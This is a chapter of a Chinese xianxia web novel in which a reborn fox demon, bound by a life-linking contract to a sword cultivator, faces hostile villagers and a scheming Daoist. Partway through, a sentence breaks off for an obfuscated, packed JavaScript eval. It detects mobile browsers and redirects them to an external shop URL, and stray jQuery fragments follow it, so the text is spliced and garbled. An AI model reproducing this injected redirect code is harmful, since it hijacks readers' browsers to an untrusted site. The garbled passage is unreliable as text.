鸳鸯契,结契双方心脉相连,同生共死。一方死亡,另一方则会在三天后死去。
今天正是第三天。
花弥两眼一翻,躺倒在地。除了现在把棺材里那个死人救活,别无他法。
“姑娘渊博。”堂溪珏赞许道。
“呜呜呜。”花弥抬臂捂住眼睛,声音带着哭腔,“道长...我死后,可以帮我立坟吗。”
堂溪珏颔首,提剑斩断了她脚上绑着的麻绳。
终得自由,她挣扎着起身,走了一步却因重心不稳往堂溪珏身上倒去。
堂溪珏欲后退,她却不给他机会,迅速抱住他的腰,脸埋在他胸口抽噎。
“道长,我不想死啊——”
娇小的身躯在怀中抽泣,任谁看了都会心生怜爱。
堂溪珏眉头微蹙,盯着怀中少女的发顶,握剑的手因用力嘎吱作响,他感觉到她正把脸上的污渍往他衣襟上擦。
一顿哭喊后,花弥松开他,抹了抹脸上不存在的眼泪,目光不自觉地瞟向某处。
注意到她的异样,堂溪珏顺着她的目光看向自己的右手腕——上面竟赫然出现一条红线!
“呀,道长怎么也中契了!”花弥故作惊讶抬起自己的右手,看看堂溪珏的右手,又回头看看坟坑,一副恍然大悟的样子。
“我们俩手上的红线似乎是同一根...”
在棺内割绳子时,她就已察觉自己结契。此契原为狐族所创,她是为数不多知道转移契约术法的人。
故而她特意留了一张符纸用来施展转契术法,原本是想转移给言礼,却偏偏白送了另一个绝佳的转契对象。
“既如此,姑娘便和我回宗门吧。”堂溪珏淡然道。
“?”花弥眨了眨眼,一时没反应过来。
“你我同命相连,解契之前我得保证你活着。”堂溪珏垂眸盯着她,语气平静,“修仙之地灵气充盈,于你只有好处。”
她原本只是想靠堂溪珏解契,顺势讨些灵丹妙药用来修炼,待鸳鸯契解除,自此分道扬镳。
那个满山都是所谓的正道修士、连空气里都飘着除妖符气息的问天宗她可不想再涉足。
“不不不,”花弥连连摆手,满脸抗拒,“我一介弱女子,哪配踏进问天宗的大门,我们还是想办法解契吧...”
“你可不像弱女子。”堂溪珏打断她,朝她走近,“况且,我从未说过我来自问天宗。”
花弥挥动的手停在空中,往后退了两步,“额,这个嘛,猜的...猜的...”
两人之间气氛正微妙,远处传来一阵嘈杂的脚步声,夹杂着断断续续的哭喊。
花弥循声望去,只见村道那头火把攒动,十几个村民举着锄头、柴刀,急匆匆往他们这赶。
走在最前头的是个中年妇人,她一把扑在言礼身上,尖声喊道:“礼儿!”她身后站着一个壮实男人,正凶神恶煞瞪着花弥。
花弥挺直腰杆,双手抱臂,丝毫不惧,现在她身后可是站着尊和她命脉相连的大佛,动动手指就能灭了他们整个村。
“你个天煞孤星!克死双亲,现在还要来克我的礼儿!”妇人一手抱着昏迷的言礼,一手指着花弥,破口大骂,“要是他有事,我做鬼都不会放过你!”
一个道士模样的人站出来,声音又尖又利:“极阴之女,连冥婚都敢破坏!今日若不除你,必将给村子带来无穷无尽的祸害!”
其他村民纷纷附和:
“她怎么还没下葬,真是不吉利。”
“求章道长帮我们除去祸害,庇佑青莲村。多少钱我们都愿意出!”
“对对,章道长动手吧!”
花弥简直要被气笑了,她上辈子活了三百年,修炼成称霸一方、令仙家闻风丧胆的九尾大妖。期间见过很多恶,却是头一次遇到这种蠢人。
“我倒想问问诸位,”花弥支腮,语气宛如聊家常,“阿九克过谁了?克死了你们家哪只鸡?哪头牛?还是克死过你们家的哪位?”
“你克死了你爹娘!”一个矮胖男人道。
此时晨光初现,天空已是鱼肚白。
花弥眯了眯眼,看清了说话之人,她讥讽道:“陈三叔叔,我记得你之前经常来找我爹讨酒喝,我怎么觉得就是因为你经常来我家,才克死我爹娘的。真晦气!”说完,她一脸嫌弃地扇了扇面前的空气。
此话一出,站在陈三周围的人如遇蛇蝎,都迅速后撤一步。
陈三见状,涨红了脸,从地上捡起一块拳头大的石头朝花弥砸了过来。
石头在距离花弥身前一步时被弹开,咕噜噜滚远了。
花弥的腰杆挺得更直了。
村民们三三两两聚在一块窃窃私语。人群中忽然有人喊道:“我亲眼所见!你、你用妖术杀了我两个兄弟!”
花弥寻了半天,才在人群最后面找到说话之人,是那个轿夫。
她轻笑一声,“是你啊。你还有脸回来?”
轿夫缩了缩脖子,浑身哆嗦,低着头不敢再说话。
村民面面相觑,有人小声问:“怎么回事?”
花弥指着那轿夫,委屈道:“就是他,昨晚挖坟开棺,摸我的腿,想对我图谋不轨!”
她以袖掩面,佯装抽泣,“他还有两个同伙,只不过后来王公子灵魂显形,杀了他们...”
“够了!休要再胡言!”章道士喝道。他甩出几张黄符,拂尘一挥,符纸化作利器,朝花弥刺来。
堂溪珏轻叹一声,腰间长剑出鞘,挥出一道冗长的剑气,破开符纸后继续向那章道士冲去。
章道士大惊失色,将袖中符纸全部甩出,形成一面符墙,却在碰到剑气那一瞬全都化为齑粉。
剑气横扫而过,村民亦未能幸免,横七竖八倒了一地。
花弥看了堂溪珏一眼,心想:这下手也太轻了点吧,若是上一世的她,吹口气都能把他们全灭了。
“你们这群蝼蚁。”她一手叉腰,一手指着倒地的人群,还想趁机再耍耍威风。
“道士留下,其他人速速离去。”堂溪珏语气不容置喙。
村民们不敢耽搁,捡起家伙事就要往回跑。
堂溪珏似乎又想起了什么,又说了一句:“等等。”
众人闻言,纷纷下跪磕头,呜呜呀呀地求饶。
花弥挑眉看戏,这正道修士竟也会欺负人了?
只见堂溪珏走到那轿夫面前,用剑鞘抵住他的额头强迫他抬起头,森然问道:“你哪只手摸了她?”
轿夫仿佛见了阎罗,支支吾吾说不出一个字,裤子湿了一片。
堂溪珏没了耐心,“说不出?那便都是了。”
话音刚落,轿夫眼睁睁看着自己的双手掉落在地,他蜷缩成一团痛苦哀嚎。
“别让他死了,现在你们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879262|212436||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可以走了。”堂溪珏下达命令。
花弥支腮的手悬在空中,怀疑眼前这人也被妖夺舍了。
堂溪珏向来克己守礼,除了上辈子几次被她挑衅,当众与她大打出手,落得狼狈下场。她从未见过他对其他人如此失礼。
莫非…他对阿九这副身体一见钟情?
难怪他中契了也不生气!
难怪他想带她回问天宗!
花弥恍然大悟,觉得自己参破了天机。
回过神来,偌大的坟场只剩她、堂溪珏还有章道士。
堂溪珏:“说,为什么收集阴魂。”
章道士:“我…我只是个算命的,我听不懂你在说什么。”
堂溪珏一脚把他踹翻在地上,章道士宽大的道袍里掉落几颗颜色各异的珠子。
这些珠子约莫眼球这么大,有的在发光,有的则颜色黯淡。
花弥捡起一颗发光的粉色珠子,左看右看,并没有看出异样。
堂溪珏正想提醒她不要乱动,章道士趁机抓起一颗珠子捏碎,一股巨大的冲击从他手心迸发,花弥躲闪不及,被震晕了过去。
***
饿。
花弥醒来时只有这一个念头,这副身体太弱了。
她睁开眼,入目的是一面茅草屋顶,是阿九的家。
屋子很小,一盏油灯就能全部照亮。陈设简单,只有一张床、两张桌子和一张板凳,其中一张桌子摆放着两个牌位。
花弥支起上身,她身上仍然穿着喜服,低头才发现自己的双手都被白布缠裹着,从手腕一直包至指根。
她试着握了握拳,一阵刺痛从手腕传来。不仅手,脚踝处也同样缠着布条。
她忍着脚踝的疼痛下床,一瘸一拐走向摆放牌位的桌子,点燃三根香,别扭地插进香炉。
这是阿九的告别,亦是她的新生。
门外传来脚步声,堂溪珏提着一个食盒走了进来,瞥了她一眼,然后把食盒放在桌上。
随后他扬了扬下巴,示意她吃饭。
花弥踉踉跄跄走到桌边,身后传来响动,转头看见堂溪珏把凳子挪到了她身后。
她用微不可察的声音说了句“谢谢。”
曾经二人可是见面必要打一架的死敌,堂溪珏这些举动让她非常别扭。
她偷偷抬头,看见堂溪珏正抱臂靠在门框,仰头望月。
月光落在他侧脸上,勾出一条利落的轮廓,眉骨的折角、鼻梁的直线、下颌微微收住的弧度...一切都是如此恰到好处。
花弥察觉自己看入迷,甩了甩头,问道:“那个道士呢?”
堂溪珏头也不回地回答:“死了。”
花弥“哦”了一声,继续埋头吃饭。
“你不好奇发生了什么?”堂溪珏转头看向她。
“不好奇。”花弥摇头,“我们还是想想解契的事吧。我听说解契需要的材料在…”
堂溪珏打断她,“就这么想解契?”
灯光昏暗,但花弥还是看得出他生气了。
她手指绞着裙子,低头不好意思道:“道长…那个…我知道你的意思。但是…其实我已经有心仪之人了。”
这人真难伺候!
门口半晌没有动静,她抬头时,堂溪珏已没了人影。
修为没多少长进,脾气倒是越发大了!
花弥狠狠咬了一口饼。